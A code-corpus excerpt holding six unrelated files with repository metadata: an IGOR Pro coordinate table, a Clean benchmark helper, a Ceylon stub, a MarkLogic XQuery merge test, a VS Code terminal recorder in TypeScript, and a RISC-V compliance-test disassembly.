0.000000 0.000000
0.167593 -0.877754
0.000000 0.000000
40_2371_1540_2r 1 0 0
-4841.331543 -205.328674
0.000000 0.000000
0.248342 -0.003918
0.000000 0.000000
41_2371_1540_2r_mt_z 1 0 0
-4123.979004 -729.760986
0.000000 0.000000
0.401987 -0.107581
0.000000 0.000000
42_2371_1540_2r 1 0 0
-10313.334961 2297.746338
0.000000 0.000000
0.104357 -0.005303
0.000000 0.000000
43_2371_1540_2r_mt_z 1 0 0
-10022.445313 1884.798340
0.000000 0.000000
0.012465 0.534919
0.000000 0.000000
44_2371_1540_2r_mt_z 1 0 0
-10361.992188 -2086.527832
0.000000 0.000000
-0.000690 0.073749
0.000000 0.000000
45_2371_1540_2r 1 0 0
-10139.979492 -1864.262329
0.000000 0.000000
0.077639 0.001746
0.000000 0.000000
31_2371_1540_2r 1 0 0
11058.758789 2277.119629
0.000000 0.000000
0.816050 0.165614
0.000000 0.000000
46_2371_1540_2r_mt_xyz 1 0 0
5061.348633 173.599091
0.000000 0.000000
0.527201 0.038116
0.000000 0.000000
62_8344_8845_4r_mt_z 1 0 0
8090.577148 -1237.069092
0.000000 0.000000
0.238563 -0.465304
0.000000 0.000000
64_2371_1888_2r_mt_z 1 0 0
-9031.716797 -1248.105957
0.000000 0.000000
-0.120917 -0.496966
0.000000 0.000000
65_8344_8845_4r_mt_z 1 0 0
5374.221191 -1615.121094
0.000000 0.000000
-0.067674 0.659857
0.000000 0.000000
P19_008344_1894_XN_09N203W_6 1 0 1
1540.143921 -2063.133789
0.032478 0.032478
0.172711 -0.850171
0.000000 0.000000
P19_008344_1894_XN_09N203W_7 1 0 1
2064.534424 -1308.056030
0.059185 0.059185
0.331049 -0.272350
0.000000 0.000000
P19_008344_1894_XN_09N203W_8 1 0 1
2524.783691 -1629.852417
0.020900 0.020900
0.450362 -0.187941
0.000000 0.000000
P19_008344_1894_XN_09N203W_12 1 0 1
4172.826172 -1615.579346
0.073364 0.073364
0.493244 0.239818
0.000000 0.000000
P19_008344_1894_XN_09N203W_18 1 0 1
7565.903320 -1447.840942
0.077745 0.077745
0.685592 -0.319902
0.000000 0.000000
P19_008344_1894_XN_09N203W_19 1 0 1
7388.038574 -1592.911133
0.006495 0.006495
0.561175 -0.378749
0.000000 0.000000
P19_008344_1894_XN_09N203W_20 1 0 1
7401.237305 -1333.417725
0.049634 0.049634
0.488569 -0.290439
0.000000 0.000000
P20_008845_1894_XN_09N203W_6 1 0 1
2675.137207 -1730.558105
0.064276 0.064276
0.546035 -0.185103
0.000000 0.000000
P20_008845_1894_XN_09N203W_7 1 0 1
2675.892578 -1596.527100
0.058218 0.058218
0.589561 -0.111421
0.000000 0.000000
P20_008845_1894_XN_09N203W_8 1 0 1
3261.290039 -1439.873169
0.023538 0.023538
0.575510 0.180705
0.000000 0.000000
P20_008845_1894_XN_09N203W_16 1 0 1
8914.713867 -1261.989868
0.023530 0.023530
0.691574 -0.075730
0.000000 0.000000
P20_008845_1894_XN_09N203W_17 1 0 1
9224.031250 -1309.074219
0.030802 0.030802
0.567955 -0.078411
0.000000 0.000000
P20_008845_1894_XN_09N203W_18 1 0 1
8918.806641 -1701.755249
0.022017 0.022017
0.734173 -0.074947
0.000000 0.000000
P03_002371_1888_XI_08N204W_1 1 0 0
-10019.955078 -1772.922729
0.017125 0.017125
0.024105 0.001814
0.000000 0.000000
P03_002371_1888_XI_08N204W_2 1 0 0
-10205.366211 -1901.212158
0.094161 0.094161
0.029705 0.002731
0.000000 0.000000
P03_002371_1888_XI_08N204W_3 1 0 0
-9706.503906 -65.708572
0.066284 0.066284
0.061726 -0.000774
0.000000 0.000000
P03_002371_1888_XI_08N204W_4 1 0 0
-10153.626953 1594.969727
0.098187 0.098187
0.092497 -0.003249
0.000000 0.000000
P03_002371_1888_XI_08N204W_5 1 0 0
-10002.517578 1888.996948
0.047593 0.047593
0.019006 -0.003779
0.000000 0.000000
P03_002371_1888_XI_08N204W_6 1 0 0
-8338.448242 -2053.894043
0.023496 0.023496
0.035882 -0.002238
0.000000 0.000000
P03_002371_1888_XI_08N204W_7 1 0 0
-7603.304688 -1938.049683
0.016531 0.016531
0.146329 -0.005079
0.000000 0.000000
P03_002371_1888_XI_08N204W_8 1 0 0
-8177.479492 -240.407349
0.089941 0.089941
-0.014200 -0.000944
0.000000 0.000000
P03_002371_1888_XI_08N204W_9 1 0 0
-7572.266113 51.523521
0.045805 0.045805
0.128653 -0.001578
0.000000 0.000000
P03_002371_1888_XI_08N204W_10 1 0 0
-8026.619141 1597.225464
0.121679 0.121679
0.199523 -0.000393
0.000000 0.000000
P03_002371_1888_XI_08N204W_11 1 0 0
-7554.867676 1851.196411
0.051708 0.051708
0.127112 0.001087
0.000000 0.000000
P03_002371_1888_XI_08N204W_12 1 0 0
-6206.365234 -1958.146851
0.086729 0.086729
0.242113 -0.011278
0.000000 0.000000
P03_002371_1888_XI_08N204W_13 1 0 0
-5907.769531 -1949.055420
0.039353 0.039353
0.145929 -0.012214
0.000000 0.000000
P03_002371_1888_XI_08N204W_14 1 0 0
-6075.156250 -2102.193115
0.041076 0.041076
0.229676 -0.012851
0.000000 0.000000
P03_002371_1888_XI_08N204W_15 1 0 0
-5737.897461 -231.723572
0.052999 0.052999
0.154141 -0.003090
0.000000 0.000000
P03_002371_1888_XI_08N204W_16 1 0 0
-5440.048340 184.910263
0.063059 0.063059
0.201098 -0.001549
0.000000 0.000000
P03_002371_1888_XI_08N204W_17 1 0 0
-5894.770020 1851.949219
0.059813 0.059813
0.187689 0.006779
0.000000 0.000000
P03_002371_1888_XI_08N204W_18 1 0 0
-5600.932617 1847.227783
0.053417 0.053417
0.216039 0.007649
0.000000 0.000000
P03_002371_1888_XI_08N204W_19 1 0 0
-5432.576660 1733.010010
0.101003 0.101003
0.224297 0.007418
0.000000 0.000000
P03_002371_1888_XI_08N204W_20 1 0 0
-8050.837891 765.702515
0.057207 0.057207
0.017489 -0.000694
0.000000 0.000000
P03_002371_1888_XI_08N204W_21 1 0 0
-4847.120605 -2124.395020
0.044639 0.044639
0.339562 -0.020426
0.000000 0.000000
P03_002371_1888_XI_08N204W_22 1 0 0
-4838.117188 -1661.125854
0.035438 0.035438
0.276214 -0.015123
0.000000 0.000000
P03_002371_1888_XI_08N204W_23 1 0 0
-4384.945801 -74.199005
0.074951 0.074951
0.286881 -0.003472
0.000000 0.000000
P03_002371_1888_XI_08N204W_24 1 0 0
-4499.770508 1405.486572
0.040634 0.040634
0.244176 0.007826
0.000000 0.000000
P03_002371_1888_XI_08N204W_25 1 0 0
-4529.636230 1582.036499
0.153738 0.153738
0.371515 0.008957
0.000000 0.000000
P03_002371_1888_XI_08N204W_26 1 0 1
-2535.066650 -2086.936768
0.019310 0.019310
0.359925 -0.035480
0.000000 0.000000
P03_002371_1888_XI_08N204W_27 1 0 1
-2079.549805 -1834.172607
0.125817 0.125817
0.237992 -0.032099
0.000000 0.000000
P03_002371_1888_XI_08N204W_28 1 0 1
-2704.897949 0.050361
0.024717 0.024717
0.325256 -0.003472
0.000000 0.000000
P03_002371_1888_XI_08N204W_29 1 0 1
-2241.484863 163.574173
0.068655 0.068655
0.325874 -0.001588
0.000000 0.000000
P03_002371_1888_XI_08N204W_30 1 0 1
-2695.195557 1699.736572
0.484424 0.484424
-0.017035 0.019803
0.000000 0.000000
P03_002371_1888_XI_08N204W_31 1 0 1
-2450.574707 1451.487061
0.063951 0.063951
0.454014 0.015370
0.000000 0.000000
P03_002371_1888_XI_08N204W_32 1 0 1
-574.265198 -2133.990479
0.053898 0.053898
0.349431 -0.052652
0.000000 0.000000
P03_002371_1888_XI_08N204W_33 1 0 1
-941.818481 -2193.122803
0.324784 0.324784
0.027987 -0.050409
0.000000 0.000000
P03_002371_1888_XI_08N204W_34 1 0 1
-563.616333 -1987.140259
0.046509 0.046509
0.324578 -0.047315
0.000000 0.000000
P03_002371_1888_XI_08N204W_35 1 0 1
-549.022583 -261.818573
0.051344 0.051344
0.376892 -0.008810
0.000000 0.000000
P03_002371_1888_XI_08N204W_36 1 0 1
-711.698181 -404.201599
0.082522 0.082522
0.319773 -0.010650
0.000000 0.000000
P03_002371_1888_XI_08N204W_37 1 0 1
-401.249298 1533.192993
0.031339 0.031339
0.298069 0.027212
0.000000 0.000000
P03_002371_1888_XI_08N204W_38 1 0 1
-62.670326 1524.854614
0.114505 0.114505
0.249920 0.029031
0.000000 0.000000
P03_002371_1888_XI_08N204W_39 1 0 1
-235.968399 1402.961060
0.051256 0.051256
0.338078 0.024364
0.000000 0.000000
P03_002371_1888_XI_08N204W_40 1 0 1
-2542.453857 729.949707
0.070525 0.070525
0.321793 0.004833
0.000000 0.000000
P03_002371_1888_XI_08N204W_41 1 0 1
572.644287 -2064.185547
0.093236 0.093236
0.232582 -0.059856
0.000000 0.000000
P03_002371_1888_XI_08N204W_42 1 0 1
649.411377 -1724.809570
0.081095 0.081095
0.326608 -0.048294
0.000000 0.000000
P03_002371_1888_XI_08N204W_43 1 0 1
443.583313 -2210.763916
0.119610 0.119610
0.490219 -0.065998
0.000000 0.000000
P03_002371_1888_XI_08N204W_44 1 0 1
974.345825 -273.096436
0.047213 0.047213
0.318130 -0.010153
0.000000 0.000000
P03_002371_1888_XI_08N204W_45 1 0 1
1126.269409 -272.893890
0.084615 0.084615
0.353592 -0.010477
0.000000 0.000000
P03_002371_1888_XI_08N204W_46 1 0 1
845.217102 1268.042480
0.195915 0.195915
0.243467 0.026160
0.000000 0.000000
P03_002371_1888_XI_08N204W_47 1 0 1
514.026062 1540.521118
0.073809 0.073809
0.304222 0.031975
0.000000 0.000000
P03_002371_1888_XI_08N204W_48 1 0 1
1158.776001 1555.091064
0.075730 0.075730
0.423863 0.036533
0.000000 0.000000
P03_002371_1888_XI_08N204W_49 1 0 1
3420.367432 -2173.010254
0.028769 0.028769
0.375318 -0.143720
0.000000 0.000000
P03_002371_1888_XI_08N204W_50 1 0 1
2351.332031 154.751434
0.053976 0.053976
0.387932 -0.000390
0.000000 0.000000
P03_002371_1888_XI_08N204W_51 1 0 1
2975.519531 134.856430
0.120787 0.120787
0.348196 -0.000461
0.000000 0.000000
P03_002371_1888_XI_08N204W_52 1 0 1
2807.551758 1811.519409
0.034273 0.034273
0.388294 0.057174
0.000000 0.000000
P03_002371_1888_XI_08N204W_53 1 0 1
3429.465820 1525.672852
0.052930 0.052930
0.393895 0.049999
0.000000 0.000000
P03_002371_1888_XI_08N204W_54 1 0 1
4952.965820 -2134.087402
0.014002 0.014002
0.451939 0.432820
0.000000 0.000000
P03_002371_1888_XI_08N204W_55 1 0 1
5107.134766 -2010.483765
0.081157 0.081157
0.326910 0.150165
0.000000 0.000000
P03_002371_1888_XI_08N204W_56 1 0 1
4951.667480 -1822.093018
0.024176 0.024176
0.657545 0.484399
0.000000 0.000000
P03_002371_1888_XI_08N204W_57 1 0 1
4741.224121 -69.154510
0.091200 0.091200
0.681637 -0.008073
0.000000 0.000000
P03_002371_1888_XI_08N204W_58 1 0 1
4820.850586 12.733732
0.053370 0.053370
0.321290 -0.003903
0.000000 0.000000
P03_002371_1888_XI_08N204W_59 1 0 1
4948.295898 1529.478882
0.079769 0.079769
0.552469 0.059123
0.000000 0.000000
P03_002371_1888_XI_08N204W_60 1 0 1
5105.072266 1540.743164
0.095589 0.095589
0.489643 0.061139
0.000000 0.000000
P03_002371_1888_XI_08N204W_61 1 0 1
4969.304688 1390.999390
0.224736 0.224736
0.436516 0.052294
0.000000 0.000000
P03_002371_1888_XI_08N204W_62 1 0 1
2651.379639 816.158752
0.049986 0.049986
0.335259 0.018381
0.000000 0.000000
P03_002371_1888_XI_08N204W_63 1 0 1
6166.970215 -2147.387939
0.029162 0.029162
0.347583 0.167701
0.000000 0.000000
P03_002371_1888_XI_08N204W_64 1 0 1
6029.095703 -1993.986816
0.017459 0.017459
0.476710 0.415166
0.000000 0.000000
P03_002371_1888_XI_08N204W_65 1 0 1
5775.418945 -2232.815186
0.117019 0.117019
0.532165 0.045312
0.000000 0.000000
P03_002371_1888_XI_08N204W_66 1 0 1
6173.202637 1.814497
0.085502 0.085502
0.272206 -0.004393
0.000000 0.000000
P03_002371_1888_XI_08N204W_67 1 0 1
6622.535156 -113.835579
0.118024 0.118024
0.493213 -0.009734
0.000000 0.000000
P03_002371_1888_XI_08N204W_68 1 0 1
6028.363281 1249.287109
0.111932 0.111932
0.398659 0.050880
0.000000 0.000000
P03_002371_1888_XI_08N204W_69 1 0 1
6200.078125 1827.260986
0.063657 0.063657
0.286299 0.088294
0.000000 0.000000
P03_002371_1888_XI_08N204W_70 1 0 1
6485.788574 1800.875854
0.048314 0.048314
0.362827 0.089136
0.000000 0.000000
P03_002371_1888_XI_08N204W_71 1 0 1
7840.883789 -1843.180542
0.026559 0.026559
0.565524 -0.609914
0.000000 0.000000
P03_002371_1888_XI_08N204W_72 1 0 1
8023.503418 -3.182973
0.142075 0.142075
0.494105 -0.005259
0.000000 0.000000
P03_002371_1888_XI_08N204W_73 1 0 1
8640.013672 -135.032288
0.047512 0.047512
0.479042 -0.011705
0.000000 0.000000
P03_002371_1888_XI_08N204W_74 1 0 1
8166.349609 1788.950317
0.041408 0.041408
0.578342 0.100990
0.000000 0.000000
P03_002371_1888_XI_08N204W_75 1 0 1
8495.129883 1801.823120
0.074654 0.074654
0.618042 0.107625
0.000000 0.000000
P03_002371_1888_XI_08N204W_76 1 0 1
10109.991211 -2214.678223
0.037351 0.037351
1.084407 -0.001943
0.000000 0.000000
P03_002371_1888_XI_08N204W_77 1 0 1
9813.804688 -2197.465088
0.062784 0.062784
0.807957 -0.028788
0.000000 0.000000
P03_002371_1888_XI_08N204W_78 1 0 1
10128.416992 -1977.886841
0.028149 0.028149
0.741983 0.003936
0.000000 0.000000
P03_002371_1888_XI_08N204W_79 1 0 1
10007.652344 6.289820
0.057152 0.057152
0.750235 -0.005493
0.000000 0.000000
P03_002371_1888_XI_08N204W_80 1 0 1
10297.519531 -283.873108
0.080890 0.080890
0.670670 -0.023490
0.000000 0.000000
P03_002371_1888_XI_08N204W_81 1 0 1
10308.285156 1671.310181
0.083733 0.083733
0.595398 0.112804
0.000000 0.000000
P03_002371_1888_XI_08N204W_82 1 0 1
10485.322266 1680.080933
0.194902 0.194902
0.695194 0.115466
0.000000 0.000000
P03_002371_1888_XI_08N204W_83 1 0 1
10328.567383 1518.639771
0.062492 0.062492
0.676167 0.098674
0.000000 0.000000
P03_002371_1888_XI_08N204W_84 1 0 1
7882.144043 849.229004
0.125006 0.125006
0.399313 0.038919
0.000000 0.000000
P01_001540_1889_XI_08N204W_8 1 0 1
-8580.000000 -300.000000
0.000000 0.000000
0.073221 -0.001067
0.000000 0.000000
P01_001540_1889_XI_08N204W_9 1 0 1
-8713.000000 1679.000000
0.000000 0.000000
0.044487 -0.001294
0.000000 0.000000
P01_001540_1889_XI_08N204W_10 1 0 0
-8414.000000 1691.000000
0.000000 0.000000
0.025724 -0.000834
0.000000 0.000000
P01_001540_1889_XI_08N204W_11 1 0 1
-6593.000000 -1966.000000
0.000000 0.000000
0.253596 -0.009649
0.000000 0.000000
P01_001540_1889_XI_08N204W_12 1 0 1
-6730.000000 -321.000000
0.000000 0.000000
0.160613 -0.002682
0.000000 0.000000
P01_001540_1889_XI_08N204W_13 1 0 1
-6115.000000 159.000000
0.000000 0.000000
0.181455 -0.001649
0.000000 0.000000
P01_001540_1889_XI_08N204W_14 1 0 1
-6563.000000 1689.000000
0.000000 0.000000
0.121491 0.003820
0.000000 0.000000
P01_001540_1889_XI_08N204W_15 1 0 1
-6292.000000 1690.000000
0.000000 0.000000
0.126639 0.004472
0.000000 0.000000
P01_001540_1889_XI_08N204W_16 1 0 0
-6436.000000 1575.000000
0.000000 0.000000
0.220892 0.003238
0.000000 0.000000
P01_001540_1889_XI_08N204W_17 1 0 1
-5068.000000 -1994.000000
0.000000 0.000000
0.271246 -0.017386
0.000000 0.000000
P01_001540_1889_XI_08N204W_18 1 0 1
-5495.000000 -1807.000000
0.000000 0.000000
0.265832 -0.013503
0.000000 0.000000
P01_001540_1889_XI_08N204W_19 1 0 1
-5356.000000 162.000000
0.000000 0.000000
0.263797 -0.001891
0.000000 0.000000
P01_001540_1889_XI_08N204W_20 1 0 1
-5211.000000 147.000000
0.000000 0.000000
0.285556 -0.002038
0.000000 0.000000
P01_001540_1889_XI_08N204W_21 1 0 1
-5208.000000 1533.000000
0.000000 0.000000
0.217649 0.006692
0.000000 0.000000
P01_001540_1889_XI_08N204W_22 1 0 1
-5216.000000 1711.000000
0.000000 0.000000
0.208067 0.008209
0.000000 0.000000
P01_001540_1889_XI_08N204W_23 1 0 1
-4899.000000 1742.000000
0.000000 0.000000
0.282991 0.009374
0.000000 0.000000
P01_001540_1889_XI_08N204W_24 1 0 1
-3382.000000 -1992.000000
0.000000 0.000000
0.268831 -0.027347
0.000000 0.000000
P01_001540_1889_XI_08N204W_25 1 0 1
-3538.000000 -145.000000
0.000000 0.000000
0.345144 -0.004653
0.000000 0.000000
P01_001540_1889_XI_08N204W_26 1 0 1
-3534.000000 1720.000000
0.000000 0.000000
0.292949 0.015130
0.000000 0.000000
P01_001540_1889_XI_08N204W_27 1 0 1
-604.000000 -1980.000000
0.000000 0.000000
0.336717 -0.047396
0.000000 0.000000
P01_001540_1889_XI_08N204W_28 1 0 1
-772.000000 -283.000000
0.000000 0.000000
0.372746 -0.008723
0.000000 0.000000
P01_001540_1889_XI_08N204W_29 1 0 1
-478.000000 157.000000
0.000000 0.000000
0.365249 -0.001329
0.000000 0.000000
P01_001540_1889_XI_08N204W_30 1 0 1
-1230.000000 1701.000000
0.000000 0.000000
0.215985 0.026428
0.000000 0.000000
P01_001540_1889_XI_08N204W_31 1 0 1
-907.000000 1667.000000
0.000000 0.000000
0.335830 0.027667
0.000000 0.000000
P01_001540_1889_XI_08N204W_32 1 0 1
-903.000000 1390.000000
0.000000 0.000000
0.380841 0.021162
0.000000 0.000000
P01_001540_1889_XI_08N204W_33 1 0 0
751.000000 -1973.000000
0.000000 0.000000
0.424856 -0.058710
0.000000 0.000000
P01_001540_1889_XI_08N204W_34 1 0 1
294.000000 172.000000
0.000000 0.000000
0.351862 -0.000699
0.000000 0.000000
P01_001540_1889_XI_08N204W_35 1 0 1
754.000000 -297.000000
0.000000 0.000000
0.327114 -0.010486
0.000000 0.000000
P01_001540_1889_XI_08N204W_36 1 0 1
465.000000 1389.000000
0.000000 0.000000
0.223699 0.027769
0.000000 0.000000
P01_001540_1889_XI_08N204W_37 1 0 1
518.000000 1765.000000
0.000000 0.000000
0.426215 0.038718
0.000000 0.000000
P01_001540_1889_XI_08N204W_38 1 0 1
300.000000 1608.000000
0.000000 0.000000
0.311241 0.032784
0.000000 0.000000
P01_001540_1889_XI_08N204W_39 1 0 1
4892.000000 170.000000
0.000000 0.000000
0.261226 0.001874
0.000000 0.000000
P01_001540_1889_XI_08N204W_40 1 0 1
4880.000000 1695.000000
0.000000 0.000000
0.201661 0.068669
0.000000 0.000000
P01_001540_1889_XI_08N204W_41 1 0 1
5186.000000 1700.000000
0.000000 0.000000
0.189074 0.072096
0.000000 0.000000
P01_001540_1889_XI_08N204W_42 1 0 1
5213.000000 1533.000000
0.000000 0.000000
0.313972 0.061931
0.000000 0.000000
P01_001540_1889_XI_08N204W_43 1 0 3
6279.000000 -1976.000000
0.000000 0.000000
0.198781 0.324312
0.000000 0.000000
P01_001540_1889_XI_08N204W_44 1 0 3
6101.000000 -2133.000000
0.000000 0.000000
0.666455 0.280847
0.000000 0.000000
P01_001540_1889_XI_08N204W_45 1 0 1
6264.000000 1724.000000
0.000000 0.000000
0.469501 0.081260
0.000000 0.000000
P01_001540_1889_XI_08N204W_46 1 0 1
6126.000000 1550.000000
0.000000 0.000000
0.514613 0.068454
0.000000 0.000000
P01_001540_1889_XI_08N204W_47 1 0 1
10258.000000 -1974.000000
0.000000 0.000000
0.558341 -0.155615
0.000000 0.000000
P01_001540_1889_XI_08N204W_48 1 0 1
10414.000000 -1981.000000
0.000000 0.000000
0.502920 -0.157118
0.000000 0.000000
P01_001540_1889_XI_08N204W_49 1 0 0
10267.000000 -2136.000000
0.000000 0.000000
0.540149 -0.173891
0.000000 0.000000
P01_001540_1889_XI_08N204W_50 1 0 1
10095.000000 -278.000000
0.000000 0.000000
0.673299 -0.020626
0.000000 0.000000
P01_001540_1889_XI_08N204W_51 1 0 1
10420.000000 -261.000000
0.000000 0.000000
0.720330 -0.022068
0.000000 0.000000
P01_001540_1889_XI_08N204W_52 1 0 0
10396.000000 1704.000000
0.000000 0.000000
0.806185 0.115699
0.000000 0.000000
P01_001540_1889_XI_08N204W_53 1 0 1
10243.000000 1548.000000
0.000000 0.000000
0.714192 0.100326
0.000000 0.000000
P01_001540_1889_XI_08N204W_54 1 0 1
10407.000000 1529.000000
0.000000 0.000000
0.701213 0.101084
0.000000 0.000000
| IGOR Pro | 1 | kaitlyndlee/plio | plio/examples/SocetSet/P01_001540_1889_XI_08N204W.ipf | [
"Unlicense"
] |
// The Great Computer Language Shootout
// contributed by Isaac Gouy (Clean novice)
implementation module LanguageShootout
import StdEnv, ArgEnv
// The first commandline arg (if it will convert to Int) otherwise 1
argi :: Int
argi = if (argAsInt <= 0) 1 argAsInt
where
argv = getCommandLine
argAsInt = if (size argv == 2) (toInt argv.[1]) 1
// Round to n decimal places & convert to String
toStringWith :: !.Int !.Real -> {#Char}
toStringWith n a
# z = 10.0 ^(~ (toReal n))
# x = (0.5 * z) + abs a
# (s,exp) = ndigits x z (entier x) (nsign a) 0
# (s,exp) = nzeros s exp True
= s
where
nsign x = if (x<0.0) "-" ""
ndigits x z i s exp
| x<z = (s,exp)
# x = (x - toReal i)*10.0
= ndigits x (z*10.0) (entier x)
((if (exp == -1)(s +++ ".") s) +++ toString i) (exp-1)
nzeros s exp point
| exp < ~n = (s,exp)
| (exp == -1 && point) = nzeros (s +++ ".") exp False
= nzeros (s +++ "0") (exp-1) point | Clean | 4 | kragen/shootout | bench/Include/clean/LanguageShootout.icl | [
"BSD-3-Clause"
] |
//import com.intellij.openapi.fileTypes {
// LanguageFileType
//}
//
//import org.eclipse.ceylon.ide.intellij.util {
// icons
//}
//
//shared class CeylonFileType extends LanguageFileType {
//
// shared new instance extends LanguageFileType(ceylonLanguage) {}
//
// name => "Ceylon";
//
// description => "Ceylon source file";
//
// defaultExtension => "ceylon";
//
// icon => icons.file;
//}
shared CeylonFileType ceylonFileType = CeylonFileType.instance;
| Ceylon | 3 | Kopilov/ceylon-ide-intellij | source/org/eclipse/ceylon/ide/intellij/lang/CeylonFileType.ceylon | [
"Apache-2.0"
] |
xquery version "1.0-ml";
import module namespace merge-impl = "http://marklogic.com/smart-mastering/survivorship/merging" at "/com.marklogic.smart-mastering/survivorship/merging/base.xqy";
import module namespace test = "http://marklogic.com/test" at "/test/test-helper.xqy";
let $json := merge-impl:build-path-json(
json:object(),
(
map:map() => map:with("path", "/Customer/interactions") => map:with("values", number-node{4}),
map:map() => map:with("path", "/Customer/active") => map:with("values", boolean-node{fn:true()})
)
)
return (
test:assert-equal(xs:QName("xs:integer"), xdmp:type($json => map:get("Customer") => map:get("interactions")), "Integer type should be preseved on merge"),
test:assert-equal(xs:QName("xs:boolean"), xdmp:type($json => map:get("Customer") => map:get("active")), "Boolean type should be preseved on merge")
) | XQuery | 4 | iveyMarklogic/marklogic-data-hub | marklogic-data-hub/src/test/ml-modules/root/test/suites/data-hub/5/smart-mastering/merging-json/retain-property-type.xqy | [
"Apache-2.0"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import { IPtyHostProcessReplayEvent, ReplayEntry } from 'vs/platform/terminal/common/terminalProcess';
const MAX_RECORDER_DATA_SIZE = 1024 * 1024; // 1MB
interface RecorderEntry {
cols: number;
rows: number;
data: string[];
}
export interface IRemoteTerminalProcessReplayEvent {
events: ReplayEntry[];
}
export class TerminalRecorder {
private _entries: RecorderEntry[];
private _totalDataLength: number = 0;
constructor(cols: number, rows: number) {
this._entries = [{ cols, rows, data: [] }];
}
handleResize(cols: number, rows: number): void {
if (this._entries.length > 0) {
const lastEntry = this._entries[this._entries.length - 1];
if (lastEntry.data.length === 0) {
// last entry is just a resize, so just remove it
this._entries.pop();
}
}
if (this._entries.length > 0) {
const lastEntry = this._entries[this._entries.length - 1];
if (lastEntry.cols === cols && lastEntry.rows === rows) {
// nothing changed
return;
}
if (lastEntry.cols === 0 && lastEntry.rows === 0) {
// we finally received a good size!
lastEntry.cols = cols;
lastEntry.rows = rows;
return;
}
}
this._entries.push({ cols, rows, data: [] });
}
handleData(data: string): void {
const lastEntry = this._entries[this._entries.length - 1];
lastEntry.data.push(data);
this._totalDataLength += data.length;
while (this._totalDataLength > MAX_RECORDER_DATA_SIZE) {
const firstEntry = this._entries[0];
const remainingToDelete = this._totalDataLength - MAX_RECORDER_DATA_SIZE;
if (remainingToDelete >= firstEntry.data[0].length) {
// the first data piece must be deleted
this._totalDataLength -= firstEntry.data[0].length;
firstEntry.data.shift();
if (firstEntry.data.length === 0) {
// the first entry must be deleted
this._entries.shift();
}
} else {
// the first data piece must be partially deleted
firstEntry.data[0] = firstEntry.data[0].substr(remainingToDelete);
this._totalDataLength -= remainingToDelete;
}
}
}
generateReplayEventSync(): IPtyHostProcessReplayEvent {
// normalize entries to one element per data array
this._entries.forEach((entry) => {
if (entry.data.length > 0) {
entry.data = [entry.data.join('')];
}
});
return {
events: this._entries.map(entry => ({ cols: entry.cols, rows: entry.rows, data: entry.data[0] ?? '' }))
};
}
async generateReplayEvent(): Promise<IPtyHostProcessReplayEvent> {
return this.generateReplayEventSync();
}
}
| TypeScript | 5 | sbj42/vscode | src/vs/platform/terminal/common/terminalRecorder.ts | [
"MIT"
] |
D:/gitee/open/tinyriscv/tests/riscv-compliance/build_generated/rv32i/I-SW-01.elf: file format elf32-littleriscv
Disassembly of section .text.init:
00000000 <_start>:
0: 04c0006f j 4c <reset_vector>
00000004 <trap_vector>:
4: 34202f73 csrr t5,mcause
8: 00800f93 li t6,8
c: 03ff0a63 beq t5,t6,40 <write_tohost>
10: 00900f93 li t6,9
14: 03ff0663 beq t5,t6,40 <write_tohost>
18: 00b00f93 li t6,11
1c: 03ff0263 beq t5,t6,40 <write_tohost>
20: 00000f17 auipc t5,0x0
24: fe0f0f13 addi t5,t5,-32 # 0 <_start>
28: 000f0463 beqz t5,30 <trap_vector+0x2c>
2c: 000f0067 jr t5
30: 34202f73 csrr t5,mcause
34: 000f5463 bgez t5,3c <handle_exception>
38: 0040006f j 3c <handle_exception>
0000003c <handle_exception>:
3c: 5391e193 ori gp,gp,1337
00000040 <write_tohost>:
40: 00001f17 auipc t5,0x1
44: fc3f2023 sw gp,-64(t5) # 1000 <tohost>
48: ff9ff06f j 40 <write_tohost>
0000004c <reset_vector>:
4c: 00000193 li gp,0
50: 00000297 auipc t0,0x0
54: fb428293 addi t0,t0,-76 # 4 <trap_vector>
58: 30529073 csrw mtvec,t0
5c: 30005073 csrwi mstatus,0
60: 00000297 auipc t0,0x0
64: 02028293 addi t0,t0,32 # 80 <begin_testcode>
68: 34129073 csrw mepc,t0
6c: 00000293 li t0,0
70: 10000337 lui t1,0x10000
74: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
78: 00532023 sw t0,0(t1)
7c: 30200073 mret
00000080 <begin_testcode>:
80: 00002297 auipc t0,0x2
84: f8028293 addi t0,t0,-128 # 2000 <begin_signature>
88: 0002a023 sw zero,0(t0)
8c: fff00813 li a6,-1
90: 00028f93 mv t6,t0
94: 7d0f8f93 addi t6,t6,2000
98: 830fa823 sw a6,-2000(t6)
9c: 0002a383 lw t2,0(t0)
a0: 0002a223 sw zero,4(t0)
a4: 00100793 li a5,1
a8: 00428f13 addi t5,t0,4
ac: 000f0f13 mv t5,t5
b0: 00ff2023 sw a5,0(t5)
b4: 0042a383 lw t2,4(t0)
b8: 0002a423 sw zero,8(t0)
bc: 00000713 li a4,0
c0: 00828e93 addi t4,t0,8
c4: 001e8e93 addi t4,t4,1
c8: feeeafa3 sw a4,-1(t4)
cc: 0082a383 lw t2,8(t0)
d0: 0002a623 sw zero,12(t0)
d4: 7ff00693 li a3,2047
d8: 00c28e13 addi t3,t0,12
dc: 7d0e0e13 addi t3,t3,2000
e0: 82de2823 sw a3,-2000(t3)
e4: 00c2a383 lw t2,12(t0)
e8: 0002a823 sw zero,16(t0)
ec: 00000613 li a2,0
f0: 01028d93 addi s11,t0,16
f4: 830d8d93 addi s11,s11,-2000
f8: 7ccda823 sw a2,2000(s11)
fc: 0102a383 lw t2,16(t0)
100: 00002097 auipc ra,0x2
104: f1408093 addi ra,ra,-236 # 2014 <test_2_res>
108: 0000a023 sw zero,0(ra)
10c: 000015b7 lui a1,0x1
110: 80058593 addi a1,a1,-2048 # 800 <end_testcode+0x3dc>
114: 00008d13 mv s10,ra
118: 830d0d13 addi s10,s10,-2000
11c: 7cbd2823 sw a1,2000(s10)
120: 0000a183 lw gp,0(ra)
124: 0000a223 sw zero,4(ra)
128: 07654537 lui a0,0x7654
12c: 32150513 addi a0,a0,801 # 7654321 <_end+0x765211d>
130: 00408c93 addi s9,ra,4
134: 830c8c93 addi s9,s9,-2000
138: 7caca823 sw a0,2000(s9)
13c: 0040a183 lw gp,4(ra)
140: 0000a423 sw zero,8(ra)
144: 800004b7 lui s1,0x80000
148: fff48493 addi s1,s1,-1 # 7fffffff <_end+0x7fffddfb>
14c: 00808c13 addi s8,ra,8
150: fffc0c13 addi s8,s8,-1
154: 009c20a3 sw s1,1(s8)
